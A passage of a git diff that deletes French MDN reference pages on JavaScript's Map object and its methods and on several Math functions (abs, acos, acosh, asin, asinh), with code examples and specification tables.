  • Les clés d'une Map sont ordonnées tandis que les clés d'un objet n'ont pas d'ordre particulier. Ainsi, quand on parcourt une Map, on obtient les clés selon leur ordre d'insertion. On notera qu'à partir d'ECMAScript 2015, la spécification pour les objets indique de conserver l'ordre de création pour les clés qui sont des chaînes et des symboles.
    • -
  • Les clés d'un Object sont des {{jsxref("String", "chaînes de caractères","",1)}} ou des symboles (cf. {{jsxref("Symbol")}}), alors que pour une Map ça peut être n'importe quelle valeur.
    • -
  • Il est possible d'obtenir facilement la taille d'une Map avec size. En revanche, pour un Object il faudra compter « manuellement ».
    • -
  • Un objet Map est un itérable et on peut donc le parcourir directement. En revanche, itérer sur un Object nécessite de récupérer les clés de l'objet pour ensuite les parcourir.
    • -
  • Un objet Map permettra d'obtenir de meilleures performances si on ajoute et supprime des éléments fréquemment.
    • -
- -

Propriétés

- -
-
Map.length
-
La valeur de la propriété length est 0.
- Attention, pour compter le nombre d'élément contenu dans une Map, on utilisera plutôt {{jsxref("Map.prototype.size")}}.
-
{{jsxref("Map.@@species", "get Map[@@species]")}}
-
La fonction constructeur utilisée pour créer des objets dérivées.
-
{{jsxref("Map.prototype")}}
-
Représente le prototype du constructeur Map. Permet l'addition de propriétés à tous les objets Map.
-
- -

Instances de Map

- -

Toutes les instances de Map héritent de {{jsxref("Map.prototype")}}.

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Map/prototype','Propriétés')}}

- -

Méthodes

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Map/prototype','Méthodes')}}

- -

Exemples

- -

Utiliser un objet Map

- -
const myMap = new Map();
-
-const objectKey = {},
-    functionKey = function () {},
-    stringKey = "une chaîne";
-
-// définir les valeurs
-myMap.set(stringKey, "valeur associée à 'une chaîne'");
-myMap.set(objectKey, "valeur associée à objectKey");
-myMap.set(functionKey, "valeur associée à functionKey");
-
-myMap.size; // 3
-
-// récupérer les valeurs
-myMap.get(stringKey);     // "valeur associée à 'une chaîne'"
-myMap.get(objectKey);      // "valeur associée à objetClé"
-myMap.get(functionKey);   // "valeur associée à fonctionClé"
-
-myMap.get("une chaîne");  // "valeur associée à 'une chaîne'"
-                          // car chaineClé === 'une chaîne'
-myMap.get({});            // indéfini car objetClé !== {}
-myMap.get(function() {}); // indéfini car fonctionClé !== function () {}
-
- -

Utiliser NaN comme clé

- -

{{jsxref("NaN")}} peut être utilisé comme une clé. Bien que NaN ne soit pas strictement égal à lui-même (NaN !== NaN est vérifié), on peut bâtir l'exemple suivant car on ne peut pas distinguer deux valeurs NaN :

- -
const myMap = new Map();
-myMap.set(NaN, "not a number");
-
-myMap.get(NaN); // "not a number"
-
-const otherNaN = Number("toto");
-myMap.get(otherNaN); // "not a number"
-
- -

Parcourir des objets Maps avec for..of

- -

Il est possible de parcourir les objets Map grâce à des boucles for..of :

- -
const myMap = new Map();
-myMap.set(0, "zéro");
-myMap.set(1, "un");
-for (const [key, value] of myMap) {
-  console.log(`${key} = ${value}`);
-}
-// On aura 2 lignes : la première avec "0 = zéro"
-// la seconde avec "1 = un"
-
-for (const key of myMap.keys()) {
-  console.log(key);
-}
-// On aura 2 lignes : la première avec "0"
-// et la seconde avec "1"
-
-for (const value of myMap.values()) {
-  console.log(valeur);
-}
-// On aura 2 lignes : la première avec "zéro"
-// et la seconde avec "un"
-
-for (const [key, value] of myMap.entries()) {
-  console.log(`${key} = ${value}`);
-}
-// On aura 2 lignes : la première avec "0 = zéro"
-// la seconde avec "1 = un"
-
-myMap.forEach(function(value, key) {
-  console.log(`${key} = ${value}`);
-});
-// On aura 2 lignes : la première avec "0 = zéro"
-// la seconde avec "1 = un"
-
- -

Relation avec les objets Array

- -
const keyValuePair = [["clé1", "valeur1"], ["clé2", "valeur2"]];
-
-// On utilise le constructeur Map
-// pour transformer un tableau de clés/valeurs
-// en un objet map
-const myMap = new Map(keyValuePair);
-
-myMap.get("clé1"); // renvoie "valeur1"
-
-// On utilise la fonction Array.from pour transformer
-// une map en un tableau de clés/valeurs
-console.log(Array.from(myMap)); // affichera la même chose que tableauCléValeur
-
-// On peut aussi l'utiliser pour n'extraire que les clés
-// ou les valeurs et créer le tableau associé
-console.log(Array.from(myMap.keys())); // affichera ["clé1", "clé2"]
- -

Cloner et fusionner des objets Map

- -

Il est possible de cloner des Map comme on clone des tableaux :

- -
const original = new Map([
-  [1, 'un']
-]);
-
-const clone = new Map(original);
-
-console.log(clone.get(1)); // un
-console.log(original === clone); // false. Utile pour une comparaison superficielle
- -

Attention, la donnée contenue dans la Map n'est pas clonée.

- -

Il est également possible de fusionner deux Map en conservant le critère d'unicité sur les clés :

- -
const first = new Map([
-  [1, 'un'],
-  [2, 'deux'],
-  [3, 'trois'],
-]);
-
-const second = new Map([
-  [1, 'uno'],
-  [2, 'dos']
-]);
-
-// On fusionne les deux maps. C'est la "dernière" version
-// de la clé qui l'emporte.
-// L'opérateur de décomposition nous permet principalement ici
-// de convertir une map en un tableau
-const fusion = new Map([...first, ...second]);
-
-console.log(fusion.get(1)); // uno
-console.log(fusion.get(2)); // dos
-console.log(fusion.get(3)); // trois
- -

Il est également possible de fusionner des objets Map avec des objets Array :

- -
const first = new Map([
-  [1, 'un'],
-  [2, 'deux'],
-  [3, 'trois'],
-]);
-
-const second = new Map([
-  [1, 'uno'],
-  [2, 'dos']
-]);
-
-// On peut fusionner des Maps avec un tableau
-// Là encore c'est le dernier exemplaire de la clé qui l'emporte
-const fusion = new Map([...first, ...second, [1, 'eins']]);
-
-console.log(fusion.get(1)); // eins
-console.log(fusion.get(2)); // dos
-console.log(fusion.get(3)); // trois
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map-objects', 'Map')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/map/keys/index.html b/files/fr/web/javascript/reference/objets_globaux/map/keys/index.html deleted file mode 100644 index 4c9eaef896..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/keys/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Map.prototype.keys() -slug: Web/JavaScript/Reference/Objets_globaux/Map/keys -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Map - - Méthode - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys ---- -
{{JSRef}}
- -

La méthode keys() renvoie un objet Iterator qui contient les clés de chaque élément de l'objet Map, dans leur ordre d'insertion.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}
- - - -

Syntaxe

- -
maMap.keys()
- -

Valeur de retour

- -

Un nouvel objet Iterator {{jsxref("Map")}}.

- -

Exemples

- -

Utiliser keys()

- -
var maMap = new Map();
-maMap.set("0", "toto");
-maMap.set(1, "truc");
-maMap.set({}, "bidule");
-
-var mapIter = maMap.keys();
-
-console.log(mapIter.next().value); // "0"
-console.log(mapIter.next().value); // 1
-console.log(mapIter.next().value); // Object
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.keys")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map.prototype.entries()")}}
    • -
  • {{jsxref("Map.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/map/prototype/index.html deleted file mode 100644 index 48a00f9135..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/prototype/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Map.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Map/prototype -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map -translation_of_original: Web/JavaScript/Reference/Global_Objects/Map/prototype ---- -
{{JSRef}}
- -

La propriété Map.prototype représente le prototype du constructeur {{jsxref("Map")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Les instances de {{jsxref("Map")}} héritent de {{jsxref("Map.prototype")}}. Le prototype du constructeur permet d'ajouter des propriétés ou des méthodes à toutes les instances de Map.

- -

Propriétés

- -
-
Map.prototype.constructor
-
Renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera la fonction {{jsxref("Map")}}.
-
{{jsxref("Map.prototype.size")}}
-
Renvoie le nombre de paires de clé-valeur contenues dans l'objet Map.
-
- -

Méthodes

- -
-
{{jsxref("Map.prototype.clear()")}}
-
Supprime toutes les paires de clé-valeur de l'objet Map.
-
{{jsxref("Map.delete", "Map.prototype.delete(clé)")}}
-
Renvoie true si un élément contenu dans l'objet Map existait avec cette clé et a été retiré. Si aucun élément n'existe dans l'objet Map avec cette clé, c'est false qui est renvoyé. Map.prototype.has(clé) renverra false après l'exécution de cette méthode.
-
{{jsxref("Map.prototype.entries()")}}
-
Renvoie un nouvel objet Iterator qui contient un tableau de [clé, valeur] pour chacun des éléments de l'objet Map, dans leur ordre d'insertion.
-
{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}
-
Appelle la fonction callbackFn pour chaque paire clé-valeur de l'objet Map dans leur ordre d'insertion. Si un paramètre thisArg est fourni, il sera utilisé comme valeur pour this pour chaque appel de la fonction de retour (callback).
-
{{jsxref("Map.get", "Map.prototype.get(clé)")}}
-
Renvoie la valeur associée à la clé et undefined s'il n'y en a pas.
-
{{jsxref("Map.has", "Map.prototype.has(clé)")}}
-
Renvoie un booléen indiquant si une valeur associée à cette clé a été trouvée dans l'objet Map.
-
{{jsxref("Map.prototype.keys()")}}
-
Renvoie un nouvel objet Iterator contenant les clés de chaque élément de l'objet Map dans leur ordre d'insertion.
-
{{jsxref("Map.set", "Map.prototype.set(clé, valeur)")}}
-
Définit la valeur d'un clé pour l'objet Map. Renvoie undefined.
-
{{jsxref("Map.prototype.values()")}}
-
Renvoie un nouvel objet Iterator contenant les valeurs de chaque élément de l'objet Map dans leur ordre d'insertion.
-
{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
-
Renvoie une nouvel objet Iterator qui contient un tableau de [clé, valeur] pour chaque élément de l'objet Map dans leur ordre d'insertion.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/set/index.html b/files/fr/web/javascript/reference/objets_globaux/map/set/index.html deleted file mode 100644 index 6c74f2d342..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/set/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Map.prototype.set() -slug: Web/JavaScript/Reference/Objets_globaux/Map/set -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/set ---- -
{{JSRef}}
- -

La méthode set() ajoute un nouvel élément avec une clé et une valeur données à un objet Map.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}
- - - -

Syntaxe

- -
maMap.set(clé, valeur);
- -

Paramètres

- -
-
clé
-
Ce paramètre représente la clé de l'élément à ajouter à l'objet Map.
-
valeur
-
Ce paramètre représente la valeur de l'élément à ajouter à l'objet Map.
-
- -

Valeur de retour

- -

L'objet Map courant (auquel l'élément a été ajouté).

- -

Exemples

- -

Utiliser la méthode set()

- -
var maMap = new Map();
-
-// On ajoute de nouveaux éléments à l'objet map
-maMap.set("truc", "toto");
-maMap.set(1, "bidule");
-
-// On met à jour un élément
-maMap.set("truc", "fuuu");
-
- -

Utiliser la méthode set() avec un enchaînement

- -

La méthode set() renvoie le même objet Map et on peut donc la « chaîner » pour des opérations successives :

- -
// On ajoute de nouveaux éléments
-// en enchaînant les appels à set()
-maMap.set('truc', 'toto')
-     .set(1, 'tototruc')
-     .set(2, 'bidule');
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.set")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
  • {{jsxref("Map.prototype.get()")}}
    • -
  • {{jsxref("Map.prototype.has()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/size/index.html b/files/fr/web/javascript/reference/objets_globaux/map/size/index.html deleted file mode 100644 index 28ef0921c4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/size/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Map.prototype.size -slug: Web/JavaScript/Reference/Objets_globaux/Map/size -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/size ---- -
{{JSRef}}
- -

L'accesseur size est une propriété renvoyant le nombre d'éléments d'un objet {{jsxref("Map")}}.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}
- - - -

Description

- -

La valeur de size est un entier représentant le nombre d'entrées d'un objet Map. Le mutateur correspond à cette propriété est {{jsxref("undefined")}}, on ne peut pas donc pas modifier cette propriété.

- -

Exemple

- -

Utiliser size

- -
var maMap = new Map();
-maMap.set("a", "alpha");
-maMap.set("b", "beta");
-maMap.set("g", "gamma");
-
-maMap.size // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}{{Spec2('ESDraft')}} 
- -

Compatibliité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.size")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/values/index.html b/files/fr/web/javascript/reference/objets_globaux/map/values/index.html deleted file mode 100644 index 6db3129d2e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/map/values/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Map.prototype.values() -slug: Web/JavaScript/Reference/Objets_globaux/Map/values -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Map - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/values ---- -
{{JSRef}}
- -

La méthode values() renvoie un objet Iterator qui contient les valeurs de chacun des éléments contenu dans l'objet Map donné, dans leur ordre d'insertion.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-values.html")}}
- - - -

Syntaxe

- -
maMap.values()
- -

Valeur de retour

- -

Un nouvel objet Iterator {{jsxref("Map")}}.

- -

Exemple

- -

Utiliser values()

- -
var maMap = new Map();
-maMap.set("0", "toto");
-maMap.set(1, "truc");
-maMap.set({}, "licorne");
-
-var mapIter = maMap.values();
-
-console.log(mapIter.next().value); // "toto"
-console.log(mapIter.next().value); // "truc"
-console.log(mapIter.next().value); // "licorne"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Map.values")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map.prototype.entries()")}}
    • -
  • {{jsxref("Map.prototype.keys()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/abs/index.html b/files/fr/web/javascript/reference/objets_globaux/math/abs/index.html deleted file mode 100644 index 925364b1ca..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/abs/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Math.abs() -slug: Web/JavaScript/Reference/Objets_globaux/Math/abs -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs ---- -
{{JSRef}}
- -

La fonction Math.abs() retourne la valeur absolue d'un nombre, c'est-à-dire

- -

Math.abs(x)=|x|={xsix≥0-xsix<0{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x & \text{si} \quad x \geq 0 \\ -x & \text{si} \quad x < 0 \end{cases}

- -
{{EmbedInteractiveExample("pages/js/math-abs.html")}}
- - - -

Syntaxe

- -
Math.abs(x);
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur absolue

- -

La valeur absolue du nombre passé en argument.

- -

Description

- -

abs est une méthode statique de l'objet Math et doit toujours être utilisée avec la syntaxe Math.abs().

- -

Exemples

- -

Utiliser Math.abs()

- -

Si la méthode est utilisée avec une chaîne de caractères non numérique, avec un tableau à plus d'un élément, sans paramètre ou avec {{jsxref("undefined")}}, la valeur retournée sera {{jsxref("NaN")}}. Si elle est utilisée avec {{jsxref("null")}}, la fonction renverra 0.

- -
Math.abs('-1');     // 1
-Math.abs(-2);       // 2
-Math.abs(null);     // 0
-Math.abs('');       // 0
-Math.abs([]);       // 0
-Math.abs([2]);      // 2
-Math.abs([1,2]);    // NaN
-Math.abs({});       // NaN
-Math.abs("string"); // NaN
-Math.abs();         // NaN
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.abs")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.ceil()")}}
    • -
  • {{jsxref("Math.floor()")}}
    • -
  • {{jsxref("Math.round()")}}
    • -
  • {{jsxref("Math.sign()")}}
    • -
  • {{jsxref("Math.trunc()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/acos/index.html b/files/fr/web/javascript/reference/objets_globaux/math/acos/index.html deleted file mode 100644 index b0de810d35..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/acos/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Math.acos() -slug: Web/JavaScript/Reference/Objets_globaux/Math/acos -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos ---- -
{{JSRef}}
- -

La fonction Math.acos() renvoie l'arc cosinus d'une valeur exprimée en radians. Cela est défini par :

- -

∀x∊[-1;1],Math.acos(x)=arccos(x)= le seul  y∊[0;π]tel quecos(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x

- -
{{EmbedInteractiveExample("pages/js/math-acos.html")}}
- - - -

Syntaxe

- -
Math.acos(x)
- -

Paramètres

- -
-
x
-
Un nombre (représentant un angle exprimé en radians).
-
- -

Valeur de retour

- -

L'arc cosinus du nombre passé en argument si celui est compris entre -1 et 1. La méthode renvoie {{jsxref("NaN")}} sinon.

- -

Description

- -

La méthode acos renvoie une valeur numérique comprise entre 0 et Pi pour x compris entre -1 et 1. Si la valeur de x est hors de cet intervalle, la méthode renverra {{jsxref("NaN")}}.

- -

acos est une méhode statique de Math et doit toujours être utilisée avec la syntaxe Math.acos(), elle ne doit pas être appelée depuis un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.acos()

- -
Math.acos(-2);  // NaN
-Math.acos(-1);  // 3.141592653589793
-Math.acos(0);   // 1.5707963267948966
-Math.acos(0.5); // 1.0471975511965979
-Math.acos(1);   // 0
-Math.acos(2);   // NaN
-
- -

Pour les valeurs (strictement) inférieures à -1 ou supérieures à 1, Math.acos renvoie NaN.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.acos', 'Math.acos')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.acos")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.asin()")}}
    • -
  • {{jsxref("Math.atan()")}}
    • -
  • {{jsxref("Math.atan2()")}}
    • -
  • {{jsxref("Math.cos()")}}
    • -
  • {{jsxref("Math.sin()")}}
    • -
  • {{jsxref("Math.tan()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/acosh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/acosh/index.html deleted file mode 100644 index 3598039002..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/acosh/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Math.acosh() -slug: Web/JavaScript/Reference/Objets_globaux/Math/acosh -tags: - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh ---- -
{{JSRef}}
- -

La fonction Math.acosh() renvoie l'arc cosinus hyperbolique d'un nombre.Elle est définie par :

- -

∀x≥1,Math.acosh(x)=arcosh(x)= l'unique y≥0tel quecosh(y)=x\forall x \geq 1, \mathtt{\operatorname{Math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ the unique } \; y \geq 0 \; \text{such that} \; \cosh(y) = x

- -
{{EmbedInteractiveExample("pages/js/math-acosh.html")}}
- - - -

Syntaxe

- -
Math.acosh(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

L'arc cosinus hyperbolique du nombre en argument. Si le nombre est inférieur à 1, la valeur renvoyée sera {{jsxref("NaN")}}.

- -

Description

- -

acosh étant une méthode statique de Math, il faut l'utiliser avec Math.acosh(), plutôt qu'en faisant appel à une méthode d'un autre objet créé (Math n'est pas un constructeur).

- -

Exemple

- -

Utiliser Math.acosh()

- -
Math.acosh(-1);  // NaN
-Math.acosh(0);   // NaN
-Math.acosh(0.5); // NaN
-Math.acosh(1);   // 0
-Math.acosh(2);   // 1.3169578969248166
- -

Pour les valeurs strictement inférieures à 1 Math.acosh renvoie {{jsxref("NaN")}}.

- -

Prothèse d'émulation (polyfill)

- -

Pour tout x≥1x \geq 1, arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right), on peut donc émuler cette fonction avec le code suivant :

- -
function acosh(x) {
-  return Math.log(x + Math.sqrt(x * x - 1));
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.acosh', 'Math.acosh')}}{{Spec2('ES6')}}Définition initiale
{{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.acosh")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.asinh()")}}
    • -
  • {{jsxref("Math.atanh()")}}
    • -
  • {{jsxref("Math.cosh()")}}
    • -
  • {{jsxref("Math.sinh()")}}
    • -
  • {{jsxref("Math.tanh()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/asin/index.html b/files/fr/web/javascript/reference/objets_globaux/math/asin/index.html deleted file mode 100644 index c830fc7b11..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/asin/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Math.asin() -slug: Web/JavaScript/Reference/Objets_globaux/Math/asin -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin ---- -
{{JSRef}}
- -

La fonction Math.asin() renvoie l'arc sinus d'un nombre (en radians). Elle est définie par :

- -

∀x∊[-1;1],Math.asin(x)=arcsin(x)= le seul y∊[-π2;π2]tel quesin(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x

- -
{{EmbedInteractiveExample("pages/js/math-asin.html")}}
- - - -

Syntaxe

- -
Math.asin(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

L'arc sinus du nombre passé en argument (exprimé en radians). Si ce nombre n'est pas compris entre -1 et 1, la valeur renvoyée sera {{jsxref("NaN")}}.

- -

Description

- -

La méthode Math.asin() renvoie une valeur numérique comprise entre -π2-\frac{\pi}{2} et π2\frac{\pi}{2} pour x compris entre -1 et 1. Si x est hors de cet intervalle, la méthode renverra {{jsxref("NaN")}}.

- -

Math.asin() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.asin(), elle ne doit pas être appelée à partir d'un autre objet créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.asin()

- -
Math.asin(-2);  // NaN
-Math.asin(-1);  // -1.570796326794897 (-pi/2)
-Math.asin(0);   // 0
-Math.asin(0.5); // 0.5235987755982989
-Math.asin(1);   // 1.570796326794897 (pi/2)
-Math.asin(2);   // NaN
- -

Pour les valeurs (strictement) inférieures à -1 ou supérieures à 1, Math.asin() renvoie {{jsxref("NaN")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.3', 'Math.asin')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.asin', 'Math.asin')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.asin', 'Math.asin')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Math.asin")}}
- -

Voir aussi

- -
    -
  • {{jsxref("Math.acos()")}}
    • -
  • {{jsxref("Math.atan()")}}
    • -
  • {{jsxref("Math.atan2()")}}
    • -
  • {{jsxref("Math.cos()")}}
    • -
  • {{jsxref("Math.sin()")}}
    • -
  • {{jsxref("Math.tan()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/asinh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/asinh/index.html deleted file mode 100644 index 3d0d55ecad..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/asinh/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Math.asinh() -slug: Web/JavaScript/Reference/Objets_globaux/Math/asinh -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/asinh ---- -
{{JSRef}}
- -

La fonction Math.asinh() renvoie l'arc sinus hyperbolique d'un nombre :

- -

Math.asinh(x)=arsinh(x)= le seul ytel quesinh(y)=x\mathtt{\operatorname{Math.asinh}(x)} = \operatorname{arsinh}(x) = \text{ the unique } \; y \; \text{such that} \; \sinh(y) = x

- -
{{EmbedInteractiveExample("pages/js/math-asinh.html")}}
- - - -

Syntaxe

- -
Math.asinh(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

L'arc sinus hyperbolique du nombre passé en argument.

- -

Description

- -

asinh() étant une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.asinh() et ne doit pas être appelée depuis un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemple

- -

Utiliser Math.asinh()

- -
Math.asinh = Math.asinh || function(x) {
-  if (x === -Infinity) {
-    return x;
-  } else {
-    return Math.log(x + Math.sqrt(x * x + 1));
-  }
-};
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-math.asinh', 'Math.asinh')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.asinh', 'Math.asinh')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.asinh")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acosh()")}}
    • -
  • {{jsxref("Math.atanh()")}}
    • -
  • {{jsxref("Math.cosh()")}}
    • -
  • {{jsxref("Math.sinh()")}}
    • -
  • {{jsxref("Math.tanh()")}}
    • -
